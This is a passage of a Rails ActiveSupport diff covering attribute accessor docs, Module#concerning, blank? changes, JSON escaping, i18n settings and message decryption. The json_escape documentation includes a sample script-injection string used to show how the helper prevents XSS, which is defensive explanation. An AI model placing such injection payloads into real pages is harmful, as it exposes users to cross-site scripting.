+ # Returns a new hash with all keys converted to symbols, as long as
# they respond to +to_sym+. This includes the keys from the root hash
# and from all nested hashes.
#
diff --git a/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
index df11737a6b..3b5e205244 100644
--- a/activesupport/lib/active_support/core_ext/kernel/reporting.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
@@ -48,6 +48,7 @@ module Kernel
yield
ensure
stream.reopen(old_stream)
+ old_stream.close
end
# Blocks and ignores any exception passed as argument if raised within the block.
diff --git a/activesupport/lib/active_support/core_ext/module.rb b/activesupport/lib/active_support/core_ext/module.rb
index f2d4887df6..b4efff8b24 100644
--- a/activesupport/lib/active_support/core_ext/module.rb
+++ b/activesupport/lib/active_support/core_ext/module.rb
@@ -4,6 +4,7 @@ require 'active_support/core_ext/module/anonymous'
require 'active_support/core_ext/module/reachable'
require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/module/concerning'
require 'active_support/core_ext/module/delegation'
require 'active_support/core_ext/module/deprecation'
require 'active_support/core_ext/module/remove_method'
diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
index 672cc0256f..d317df5079 100644
--- a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
@@ -1,10 +1,59 @@
require 'active_support/core_ext/array/extract_options'
+# Extends the module object with class/module and instance accessors for
+# class/module attributes, just like the native attr* accessors for instance
+# attributes.
class Module
+ # Defines a class attribute and creates a class and instance reader methods.
+ # The underlying the class variable is set to +nil+, if it is not previously
+ # defined.
+ #
+ # module HairColors
+ # mattr_reader :hair_colors
+ # end
+ #
+ # HairColors.hair_colors # => nil
+ # HairColors.class_variable_set("@@hair_colors", [:brown, :black])
+ # HairColors.hair_colors # => [:brown, :black]
+ #
+ # The attribute name must be a valid method name in Ruby.
+ #
+ # module Foo
+ # mattr_reader :"1_Badname "
+ # end
+ # # => NameError: invalid attribute name
+ #
+ # If you want to opt out the creation on the instance reader method, pass
+ # <tt>instance_reader: false</tt> or <tt>instance_accessor: false</tt>.
+ #
+ # module HairColors
+ # mattr_writer :hair_colors, instance_reader: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors # => NoMethodError
+ #
+ #
+ # Also, you can pass a block to set up the attribute with a default value.
+ #
+ # module HairColors
+ # cattr_reader :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.hair_colors # => [:brown, :black, :blonde, :red]
def mattr_reader(*syms)
options = syms.extract_options!
syms.each do |sym|
- raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+ raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
class_eval(<<-EOS, __FILE__, __LINE__ + 1)
@@#{sym} = nil unless defined? @@#{sym}
@@ -20,14 +69,60 @@ class Module
end
EOS
end
+ class_variable_set("@@#{sym}", yield) if block_given?
end
end
+ alias :cattr_reader :mattr_reader
+ # Defines a class attribute and creates a class and instance writer methods to
+ # allow assignment to the attribute.
+ #
+ # module HairColors
+ # mattr_writer :hair_colors
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # HairColors.hair_colors = [:brown, :black]
+ # Person.class_variable_get("@@hair_colors") # => [:brown, :black]
+ # Person.new.hair_colors = [:blonde, :red]
+ # HairColors.class_variable_get("@@hair_colors") # => [:blonde, :red]
+ #
+ # If you want to opt out the instance writer method, pass
+ # <tt>instance_writer: false</tt> or <tt>instance_accessor: false</tt>.
+ #
+ # module HairColors
+ # mattr_writer :hair_colors, instance_writer: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors = [:blonde, :red] # => NoMethodError
+ #
+ # Also, you can pass a block to set up the attribute with a default value.
+ #
+ # class HairColors
+ # mattr_writer :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
def mattr_writer(*syms)
options = syms.extract_options!
syms.each do |sym|
- raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+ raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+ @@#{sym} = nil unless defined? @@#{sym}
+
def self.#{sym}=(obj)
@@#{sym} = obj
end
@@ -40,27 +135,78 @@ class Module
end
EOS
end
+ send("#{sym}=", yield) if block_given?
end
end
+ alias :cattr_writer :mattr_writer
- # Extends the module object with module and instance accessors for class attributes,
- # just like the native attr* accessors for instance attributes.
+ # Defines both class and instance accessors for class attributes.
#
- # module AppConfiguration
- # mattr_accessor :google_api_key
+ # module HairColors
+ # mattr_accessor :hair_colors
+ # end
#
- # self.google_api_key = "123456789"
+ # class Person
+ # include HairColors
# end
#
- # AppConfiguration.google_api_key # => "123456789"
- # AppConfiguration.google_api_key = "overriding the api key!"
- # AppConfiguration.google_api_key # => "overriding the api key!"
+ # Person.hair_colors = [:brown, :black, :blonde, :red]
+ # Person.hair_colors # => [:brown, :black, :blonde, :red]
+ # Person.new.hair_colors # => [:brown, :black, :blonde, :red]
+ #
+ # If a subclass changes the value then that would also change the value for
+ # parent class. Similarly if parent class changes the value then that would
+ # change the value of subclasses too.
+ #
+ # class Male < Person
+ # end
+ #
+ # Male.hair_colors << :blue
+ # Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
#
# To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
# To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
- # To opt out of both instance methods, pass <tt>instance_accessor: false</tt>.
- def mattr_accessor(*syms)
- mattr_reader(*syms)
- mattr_writer(*syms)
+ #
+ # module HairColors
+ # mattr_accessor :hair_colors, instance_writer: false, instance_reader: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors = [:brown] # => NoMethodError
+ # Person.new.hair_colors # => NoMethodError
+ #
+ # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+ #
+ # module HairColors
+ # mattr_accessor :hair_colors, instance_accessor: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors = [:brown] # => NoMethodError
+ # Person.new.hair_colors # => NoMethodError
+ #
+ # Also you can pass a block to set up the attribute with a default value.
+ #
+ # module HairColors
+ # mattr_accessor :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.class_variable_get("@@hair_colors") #=> [:brown, :black, :blonde, :red]
+ def mattr_accessor(*syms, &blk)
+ mattr_reader(*syms, &blk)
+ mattr_writer(*syms, &blk)
end
+ alias :cattr_accessor :mattr_accessor
end
diff --git a/activesupport/lib/active_support/core_ext/module/concerning.rb b/activesupport/lib/active_support/core_ext/module/concerning.rb
new file mode 100644
index 0000000000..b22dc5ff1e
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/concerning.rb
@@ -0,0 +1,135 @@
+require 'active_support/concern'
+
+class Module
+ # = Bite-sized separation of concerns
+ #
+ # We often find ourselves with a medium-sized chunk of behavior that we'd
+ # like to extract, but only mix in to a single class.
+ #
+ # Extracting a plain old Ruby object to encapsulate it and collaborate or
+ # delegate to the original object is often a good choice, but when there's
+ # no additional state to encapsulate or we're making DSL-style declarations
+ # about the parent class, introducing new collaborators can obfuscate rather
+ # than simplify.
+ #
+ # The typical route is to just dump everything in a monolithic class, perhaps
+ # with a comment, as a least-bad alternative. Using modules in separate files
+ # means tedious sifting to get a big-picture view.
+ #
+ # = Dissatisfying ways to separate small concerns
+ #
+ # == Using comments:
+ #
+ # class Todo
+ # # Other todo implementation
+ # # ...
+ #
+ # ## Event tracking
+ # has_many :events
+ #
+ # before_create :track_creation
+ # after_destroy :track_deletion
+ #
+ # private
+ # def track_creation
+ # # ...
+ # end
+ # end
+ #
+ # == With an inline module:
+ #
+ # Noisy syntax.
+ #
+ # class Todo
+ # # Other todo implementation
+ # # ...
+ #
+ # module EventTracking
+ # extend ActiveSupport::Concern
+ #
+ # included do
+ # has_many :events
+ # before_create :track_creation
+ # after_destroy :track_deletion
+ # end
+ #
+ # private
+ # def track_creation
+ # # ...
+ # end
+ # end
+ # include EventTracking
+ # end
+ #
+ # == Mix-in noise exiled to its own file:
+ #
+ # Once our chunk of behavior starts pushing the scroll-to-understand it
+ # boundary, we give in and move it to a separate file. At this size, the
+ # overhead feels in good proportion to the size of our extraction, despite
+ # diluting our at-a-glance sense of how things really work.
+ #
+ # class Todo
+ # # Other todo implementation
+ # # ...
+ #
+ # include TodoEventTracking
+ # end
+ #
+ # = Introducing Module#concerning
+ #
+ # By quieting the mix-in noise, we arrive at a natural, low-ceremony way to
+ # separate bite-sized concerns.
+ #
+ # class Todo
+ # # Other todo implementation
+ # # ...
+ #
+ # concerning :EventTracking do
+ # included do
+ # has_many :events
+ # before_create :track_creation
+ # after_destroy :track_deletion
+ # end
+ #
+ # private
+ # def track_creation
+ # # ...
+ # end
+ # end
+ # end
+ #
+ # Todo.ancestors
+ # # => Todo, Todo::EventTracking, Object
+ #
+ # This small step has some wonderful ripple effects. We can
+ # * grok the behavior of our class in one glance,
+ # * clean up monolithic junk-drawer classes by separating their concerns, and
+ # * stop leaning on protected/private for crude "this is internal stuff" modularity.
+ module Concerning
+ # Define a new concern and mix it in.
+ def concerning(topic, &block)
+ include concern(topic, &block)
+ end
+
+ # A low-cruft shortcut to define a concern.
+ #
+ # concern :EventTracking do
+ # ...
+ # end
+ #
+ # is equivalent to
+ #
+ # module EventTracking
+ # extend ActiveSupport::Concern
+ #
+ # ...
+ # end
+ def concern(topic, &module_definition)
+ const_set topic, Module.new {
+ extend ::ActiveSupport::Concern
+ module_eval(&module_definition)
+ }
+ end
+ end
+ include Concerning
+end
diff --git a/activesupport/lib/active_support/core_ext/object/blank.rb b/activesupport/lib/active_support/core_ext/object/blank.rb
index f9ff4d9567..38e43478df 100644
--- a/activesupport/lib/active_support/core_ext/object/blank.rb
+++ b/activesupport/lib/active_support/core_ext/object/blank.rb
@@ -4,36 +4,42 @@ class Object
# An object is blank if it's false, empty, or a whitespace string.
# For example, '', ' ', +nil+, [], and {} are all blank.
#
- # This simplifies:
+ # This simplifies
#
- # if address.nil? || address.empty?
+ # address.nil? || address.empty?
#
- # ...to:
+ # to
#
- # if address.blank?
+ # address.blank?
+ #
+ # @return [true, false]
def blank?
- respond_to?(:empty?) ? empty? : !self
+ respond_to?(:empty?) ? !!empty? : !self
end
- # An object is present if it's not <tt>blank?</tt>.
+ # An object is present if it's not blank.
+ #
+ # @return [true, false]
def present?
!blank?
end
- # Returns object if it's <tt>present?</tt> otherwise returns +nil+.
- # <tt>object.presence</tt> is equivalent to <tt>object.present? ? object : nil</tt>.
+ # Returns the receiver if it's present otherwise returns +nil+.
+ # <tt>object.presence</tt> is equivalent to
#
- # This is handy for any representation of objects where blank is the same
- # as not present at all. For example, this simplifies a common check for
- # HTTP POST/query parameters:
+ # object.present? ? object : nil
+ #
+ # For example, something like
#
# state = params[:state] if params[:state].present?
# country = params[:country] if params[:country].present?
# region = state || country || 'US'
#
- # ...becomes:
+ # becomes
#
# region = params[:state].presence || params[:country].presence || 'US'
+ #
+ # @return [Object]
def presence
self if present?
end
@@ -43,6 +49,8 @@ class NilClass
# +nil+ is blank:
#
# nil.blank? # => true
+ #
+ # @return [true]
def blank?
true
end
@@ -52,6 +60,8 @@ class FalseClass
# +false+ is blank:
#
# false.blank? # => true
+ #
+ # @return [true]
def blank?
true
end
@@ -61,6 +71,8 @@ class TrueClass
# +true+ is not blank:
#
# true.blank? # => false
+ #
+ # @return [false]
def blank?
false
end
@@ -71,6 +83,8 @@ class Array
#
# [].blank? # => true
# [1,2,3].blank? # => false
+ #
+ # @return [true, false]
alias_method :blank?, :empty?
end
@@ -79,18 +93,28 @@ class Hash
#
# {}.blank? # => true
# { key: 'value' }.blank? # => false
+ #
+ # @return [true, false]
alias_method :blank?, :empty?
end
class String
+ BLANK_RE = /\A[[:space:]]*\z/
+
# A string is blank if it's empty or contains whitespaces only:
#
- # ''.blank? # => true
- # ' '.blank? # => true
- # ' '.blank? # => true
- # ' something here '.blank? # => false
+ # ''.blank? # => true
+ # ' '.blank? # => true
+ # "\t\n\r".blank? # => true
+ # ' blah '.blank? # => false
+ #
+ # Unicode whitespace is supported:
+ #
+ # "\u00a0".blank? # => true
+ #
+ # @return [true, false]
def blank?
- self =~ /\A[[:space:]]*\z/
+ BLANK_RE === self
end
end
@@ -99,6 +123,8 @@ class Numeric #:nodoc:
#
# 1.blank? # => false
# 0.blank? # => false
+ #
+ # @return [false]
def blank?
false
end
diff --git a/activesupport/lib/active_support/core_ext/string/access.rb b/activesupport/lib/active_support/core_ext/string/access.rb
index d94e1bfca2..6018fd9641 100644
--- a/activesupport/lib/active_support/core_ext/string/access.rb
+++ b/activesupport/lib/active_support/core_ext/string/access.rb
@@ -59,7 +59,7 @@ class String
# str.from(0).to(-1) # => "hello"
# str.from(1).to(-2) # => "ell"
def to(position)
- self[0, position + 1]
+ self[0..position]
end
# Returns the first character. If a limit is supplied, returns a substring
diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb
index dc033ed11b..1b20507c0b 100644
--- a/activesupport/lib/active_support/core_ext/string/output_safety.rb
+++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -4,9 +4,10 @@ require 'active_support/core_ext/kernel/singleton_class'
class ERB
module Util
HTML_ESCAPE = { '&' => '&amp;', '>' => '&gt;', '<' => '&lt;', '"' => '&quot;', "'" => '&#39;' }
- JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' }
+ JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003e', '<' => '\u003c', "\u2028" => '\u2028', "\u2029" => '\u2029' }
+ HTML_ESCAPE_REGEXP = /[&"'><]/
HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+));)/
- JSON_ESCAPE_REGEXP = /[&"><]/
+ JSON_ESCAPE_REGEXP = /[\u2028\u2029&><]/u
# A utility method for escaping HTML tag characters.
# This method is also aliased as <tt>h</tt>.
@@ -21,7 +22,7 @@ class ERB
if s.html_safe?
s
else
- s.gsub(/[&"'><]/, HTML_ESCAPE).html_safe
+ s.gsub(HTML_ESCAPE_REGEXP, HTML_ESCAPE).html_safe
end
end
@@ -48,17 +49,56 @@ class ERB
module_function :html_escape_once
- # A utility method for escaping HTML entities in JSON strings
- # using \uXXXX JavaScript escape sequences for string literals:
+ # A utility method for escaping HTML entities in JSON strings. Specifically, the
+ # &, > and < characters are replaced with their equivalent unicode escaped form -
+ # \u0026, \u003e, and \u003c. The Unicode sequences \u2028 and \u2029 are also
+ # escaped as they are treated as newline characters in some JavaScript engines.
+ # These sequences have identical meaning as the original characters inside the
+ # context of a JSON string, so assuming the input is a valid and well-formed
+ # JSON value, the output will have equivalent meaning when parsed:
#
- # json_escape('is a > 0 & a < 10?')
- # # => is a \u003E 0 \u0026 a \u003C 10?
+ # json = JSON.generate({ name: "</script><script>alert('PWNED!!!')</script>"})
+ # # => "{\"name\":\"</script><script>alert('PWNED!!!')</script>\"}"
#
- # Note that after this operation is performed the output is not
- # valid JSON. In particular double quotes are removed:
+ # json_escape(json)
+ # # => "{\"name\":\"\\u003C/script\\u003E\\u003Cscript\\u003Ealert('PWNED!!!')\\u003C/script\\u003E\"}"
+ #
+ # JSON.parse(json) == JSON.parse(json_escape(json))
+ # # => true
+ #
+ # The intended use case for this method is to escape JSON strings before including
+ # them inside a script tag to avoid XSS vulnerability:
+ #
+ # <script>
+ # var currentUser = <%= json_escape current_user.to_json %>;
+ # </script>
+ #
+ # WARNING: this helper only works with valid JSON. Using this on non-JSON values
+ # will open up serious XSS vulnerabilities. For example, if you replace the
+ # +current_user.to_json+ in the example above with user input instead, the browser
+ # will happily eval() that string as JavaScript.
+ #
+ # The escaping performed in this method is identical to those performed in the
+ # Active Support JSON encoder when +ActiveSupport.escape_html_entities_in_json+ is
+ # set to true. Because this transformation is idempotent, this helper can be
+ # applied even if +ActiveSupport.escape_html_entities_in_json+ is already true.
+ #
+ # Therefore, when you are unsure if +ActiveSupport.escape_html_entities_in_json+
+ # is enabled, or if you are unsure where your JSON string originated from, it
+ # is recommended that you always apply this helper (other libraries, such as the
+ # JSON gem, do not provide this kind of protection by default; also some gems
+ # might override +to_json+ to bypass Active Support's encoder).
+ #
+ # The output of this helper method is marked as HTML safe so that you can directly
+ # include it inside a <tt><script></tt> tag as shown above.
+ #
+ # However, it is NOT safe to use the output of this inside an HTML attribute,
+ # because quotation marks are not escaped. Doing so might break your page's layout.
+ # If you intend to use this inside an HTML attribute, you should use the
+ # +html_escape+ helper (or its +h+ alias) instead:
+ #
+ # <div data-user-info="<%= h current_user.to_json %>">...</div>
#
- # json_escape('{"name":"john","created_at":"2010-04-28T01:39:31Z","id":1}')
- # # => {name:john,created_at:2010-04-28T01:39:31Z,id:1}
def json_escape(s)
result = s.to_s.gsub(JSON_ESCAPE_REGEXP, JSON_ESCAPE)
s.html_safe? ? result.html_safe : result
@@ -143,15 +183,14 @@ module ActiveSupport #:nodoc:
end
def %(args)
- args = Array(args).map do |arg|
- if !html_safe? || arg.html_safe?
- arg
- else
- ERB::Util.h(arg)
- end
+ case args
+ when Hash
+ escaped_args = Hash[args.map { |k,arg| [k, html_escape_interpolated_argument(arg)] }]
+ else
+ escaped_args = Array(args).map { |arg| html_escape_interpolated_argument(arg) }
end
- self.class.new(super(args))
+ self.class.new(super(escaped_args))
end
def html_safe?
@@ -171,7 +210,7 @@ module ActiveSupport #:nodoc:
end
UNSAFE_STRING_METHODS.each do |unsafe_method|
- if 'String'.respond_to?(unsafe_method)
+ if unsafe_method.respond_to?(unsafe_method)
class_eval <<-EOT, __FILE__, __LINE__ + 1
def #{unsafe_method}(*args, &block) # def capitalize(*args, &block)
to_str.#{unsafe_method}(*args, &block) # to_str.capitalize(*args, &block)
@@ -184,6 +223,12 @@ module ActiveSupport #:nodoc:
EOT
end
end
+
+ private
+
+ def html_escape_interpolated_argument(arg)
+ (!html_safe? || arg.html_safe?) ? arg : ERB::Util.h(arg)
+ end
end
end
diff --git a/activesupport/lib/active_support/core_ext/thread.rb b/activesupport/lib/active_support/core_ext/thread.rb
index d5a420301a..ac1ffa4128 100644
--- a/activesupport/lib/active_support/core_ext/thread.rb
+++ b/activesupport/lib/active_support/core_ext/thread.rb
@@ -33,7 +33,7 @@ class Thread
_locals[key.to_sym] = value
end
- # Returns an an array of the names of the thread-local variables (as Symbols).
+ # Returns an array of the names of the thread-local variables (as Symbols).
#
# thr = Thread.new do
# Thread.current.thread_variable_set(:cat, 'meow')
diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb
index 6e0af0db4d..89cd7516cd 100644
--- a/activesupport/lib/active_support/core_ext/time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -91,10 +91,11 @@ class Time
end
end
- # Uses Date to provide precise Time calculations for years, months, and days.
- # The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
- # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
- # <tt>:minutes</tt>, <tt>:seconds</tt>.
+ # Uses Date to provide precise Time calculations for years, months, and days
+ # according to the proleptic Gregorian calendar. The +options+ parameter
+ # takes a hash with any of these keys: <tt>:years</tt>, <tt>:months</tt>,
+ # <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>, <tt>:minutes</tt>,
+ # <tt>:seconds</tt>.
def advance(options)
unless options[:weeks].nil?
options[:weeks], partial_weeks = options[:weeks].divmod(1)
@@ -107,6 +108,7 @@ class Time
end
d = to_date.advance(options)
+ d = d.gregorian if d.julian?
time_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
seconds_to_advance = \
options.fetch(:seconds, 0) +
@@ -199,27 +201,6 @@ class Time
beginning_of_day..end_of_day
end
- # Returns a Range representing the whole week of the current time.
- # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
- def all_week(start_day = Date.beginning_of_week)
- beginning_of_week(start_day)..end_of_week(start_day)
- end
-
- # Returns a Range representing the whole month of the current time.
- def all_month
- beginning_of_month..end_of_month
- end
-
- # Returns a Range representing the whole quarter of the current time.
- def all_quarter
- beginning_of_quarter..end_of_quarter
- end
-
- # Returns a Range representing the whole year of the current time.
- def all_year
- beginning_of_year..end_of_year
- end
-
def plus_with_duration(other) #:nodoc:
if ActiveSupport::Duration === other
other.since(self)
diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb
index 19d4ff51d7..6be19771f5 100644
--- a/activesupport/lib/active_support/dependencies.rb
+++ b/activesupport/lib/active_support/dependencies.rb
@@ -176,14 +176,22 @@ module ActiveSupport #:nodoc:
end
def const_missing(const_name)
- # The interpreter does not pass nesting information, and in the
- # case of anonymous modules we cannot even make the trade-off of
- # assuming their name reflects the nesting. Resort to Object as
- # the only meaningful guess we can make.
- from_mod = anonymous? ? ::Object : self
+ from_mod = anonymous? ? guess_for_anonymous(const_name) : self
Dependencies.load_missing_constant(from_mod, const_name)
end
+ # Dependencies assumes the name of the module reflects the nesting (unless
+ # it can be proven that is not the case), and the path to the file that
+ # defines the constant. Anonymous modules cannot follow these conventions
+ # and we assume therefore the user wants to refer to a top-level constant.
+ def guess_for_anonymous(const_name)
+ if Object.const_defined?(const_name)
+ raise NameError, "#{const_name} cannot be autoloaded from an anonymous class or module"
+ else
+ Object
+ end
+ end
+
def unloadable(const_desc = self)
super(const_desc)
end
@@ -456,8 +464,6 @@ module ActiveSupport #:nodoc:
raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!"
end
- raise NameError, "#{from_mod} is not missing constant #{const_name}!" if from_mod.const_defined?(const_name, false)
-
qualified_name = qualified_name_for from_mod, const_name
path_suffix = qualified_name.underscore
diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb
index 890dd9380b..23cd6716e3 100644
--- a/activesupport/lib/active_support/i18n_railtie.rb
+++ b/activesupport/lib/active_support/i18n_railtie.rb
@@ -8,6 +8,8 @@ module I18n
config.i18n.railties_load_path = []
config.i18n.load_path = []
config.i18n.fallbacks = ActiveSupport::OrderedOptions.new
+ # Enforce I18n to check the available locales when setting a locale.
+ config.i18n.enforce_available_locales = true
# Set the i18n configuration after initialization since a lot of
# configuration is still usually done in application initializers.
@@ -31,6 +33,12 @@ module I18n
fallbacks = app.config.i18n.delete(:fallbacks)
+ # Avoid issues with setting the default_locale by disabling available locales
+ # check while configuring.
+ enforce_available_locales = app.config.i18n.delete(:enforce_available_locales)
+ enforce_available_locales = I18n.enforce_available_locales unless I18n.enforce_available_locales.nil?
+ I18n.enforce_available_locales = false
+
app.config.i18n.each do |setting, value|
case setting
when :railties_load_path
@@ -44,6 +52,9 @@ module I18n
init_fallbacks(fallbacks) if fallbacks && validate_fallbacks(fallbacks)
+ # Restore available locales check so it will take place from now on.
+ I18n.enforce_available_locales = enforce_available_locales
+
reloader = ActiveSupport::FileUpdateChecker.new(I18n.load_path.dup){ I18n.reload! }
app.reloaders << reloader
ActionDispatch::Reloader.to_prepare { reloader.execute_if_updated }
diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb
index 0f7ae98a8a..cdee4c2ca5 100644
--- a/activesupport/lib/active_support/inflector/methods.rb
+++ b/activesupport/lib/active_support/inflector/methods.rb
@@ -117,7 +117,8 @@ module ActiveSupport
result.gsub!(/([a-z\d]*)/i) { |match|
"#{inflections.acronyms[match] || match.downcase}"
}
- options.fetch(:capitalize, true) ? result.gsub(/^\w/) { $&.upcase } : result
+ result.gsub!(/^\w/) { $&.upcase } if options.fetch(:capitalize, true)
+ result
end
# Capitalizes all the words and replaces some characters in the string to
diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb
index 935dd88a03..2859075e10 100644
--- a/activesupport/lib/active_support/json/encoding.rb
+++ b/activesupport/lib/active_support/json/encoding.rb
@@ -5,6 +5,7 @@ module ActiveSupport
class << self
delegate :use_standard_json_time_format, :use_standard_json_time_format=,
:escape_html_entities_in_json, :escape_html_entities_in_json=,
+ :encode_big_decimal_as_string, :encode_big_decimal_as_string=,
:json_encoder, :json_encoder=,
:to => :'ActiveSupport::JSON::Encoding'
end
@@ -48,7 +49,7 @@ module ActiveSupport
ESCAPE_REGEX_WITHOUT_HTML_ENTITIES = /[\u2028\u2029]/u
# This class wraps all the strings we see and does the extra escaping
- class EscapedString < String
+ class EscapedString < String #:nodoc:
def to_json(*)
if Encoding.escape_html_entities_in_json
super.gsub ESCAPE_REGEX_WITH_HTML_ENTITIES, ESCAPED_CHARS
@@ -62,33 +63,28 @@ module ActiveSupport
private_constant :ESCAPED_CHARS, :ESCAPE_REGEX_WITH_HTML_ENTITIES,
:ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, :EscapedString
- # Recursively turn the given object into a "jsonified" Ruby data structure
- # that the JSON gem understands - i.e. we want only Hash, Array, String,
- # Numeric, true, false and nil in the final tree. Calls #as_json on it if
- # it's not from one of these base types.
- #
- # This allows developers to implement #as_json withouth having to worry
- # about what base types of objects they are allowed to return and having
- # to remember calling #as_json recursively.
- #
- # By default, the options hash is not passed to the children data structures
- # to avoid undesiarable result. Develoers must opt-in by implementing
- # custom #as_json methods (e.g. Hash#as_json and Array#as_json).
+ # Convert an object into a "JSON-ready" representation composed of
+ # primitives like Hash, Array, String, Numeric, and true/false/nil.
+ # Recursively calls #as_json to the object to recursively build a
+ # fully JSON-ready object.
+ #
+ # This allows developers to implement #as_json without having to
+ # worry about what base types of objects they are allowed to return
+ # or having to remember to call #as_json recursively.
+ #
+ # Note: the +options+ hash passed to +object.to_json+ is only passed
+ # to +object.as_json+, not any of this method's recursive +#as_json+
+ # calls.
def jsonify(value)
- if value.is_a?(Hash)
- Hash[value.map { |k, v| [jsonify(k), jsonify(v)] }]
- elsif value.is_a?(Array)
- value.map { |v| jsonify(v) }
- elsif value.is_a?(String)
+ case value
+ when String
EscapedString.new(value)
- elsif value.is_a?(Numeric)
+ when Numeric, NilClass, TrueClass, FalseClass
value
- elsif value == true
- true
- elsif value == false
- false
- elsif value == nil
- nil
+ when Hash
+ Hash[value.map { |k, v| [jsonify(k), jsonify(v)] }]
+ when Array
+ value.map { |v| jsonify(v) }
else
jsonify value.as_json
end
@@ -113,6 +109,32 @@ module ActiveSupport
# in +Object#to_json+ and +ActiveSupport::JSON.encode+.
attr_accessor :json_encoder
+ def encode_big_decimal_as_string=(as_string)
+ message = \
+ "The JSON encoder in Rails 4.1 no longer supports encoding BigDecimals as JSON numbers. Instead, " \
+ "the new encoder will always encode them as strings.\n\n" \
+ "You are seeing this error because you have 'active_support.encode_big_decimal_as_string' in " \
+ "your configuration file. If you have been setting this to true, you can safely remove it from " \
+ "your configuration. Otherwise, you should add the 'activesupport-json_encoder' gem to your " \
+ "Gemfile in order to restore this functionality."
+
+ raise NotImplementedError, message
+ end
+
+ def encode_big_decimal_as_string
+ message = \
+ "The JSON encoder in Rails 4.1 no longer supports encoding BigDecimals as JSON numbers. Instead, " \
+ "the new encoder will always encode them as strings.\n\n" \
+ "You are seeing this error because you are trying to check the value of the related configuration, " \
+ "'active_support.encode_big_decimal_as_string'. If your application depends on this option, you should " \
+ "add the 'activesupport-json_encoder' gem to your Gemfile. For now, this option will always be true. " \
+ "In the future, it will be removed from Rails, so you should stop checking its value."
+
+ ActiveSupport::Deprecation.warn message
+
+ true
+ end
+
# Deprecate CircularReferenceError
def const_missing(name)
if name == :CircularReferenceError
diff --git a/activesupport/lib/active_support/logger.rb b/activesupport/lib/active_support/logger.rb
index 4a55bbb350..33fccdcf95 100644
--- a/activesupport/lib/active_support/logger.rb
+++ b/activesupport/lib/active_support/logger.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/logger_silence'
require 'logger'
diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb
index bffdfc6201..7773611e11 100644
--- a/activesupport/lib/active_support/message_encryptor.rb
+++ b/activesupport/lib/active_support/message_encryptor.rb
@@ -76,12 +76,12 @@ module ActiveSupport
encrypted_data = cipher.update(@serializer.dump(value))
encrypted_data << cipher.final
- [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
+ "#{::Base64.strict_encode64 encrypted_data}--#{::Base64.strict_encode64 iv}"
end
def _decrypt(encrypted_message)
cipher = new_cipher
- encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.decode64(v)}
+ encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.strict_decode64(v)}
cipher.decrypt
cipher.key = @secret
@@ -91,7 +91,7 @@ module ActiveSupport
decrypted_data << cipher.final
@serializer.load(decrypted_data)
- rescue OpenSSLCipherError, TypeError
+ rescue OpenSSLCipherError, TypeError, ArgumentError
raise InvalidMessage
end
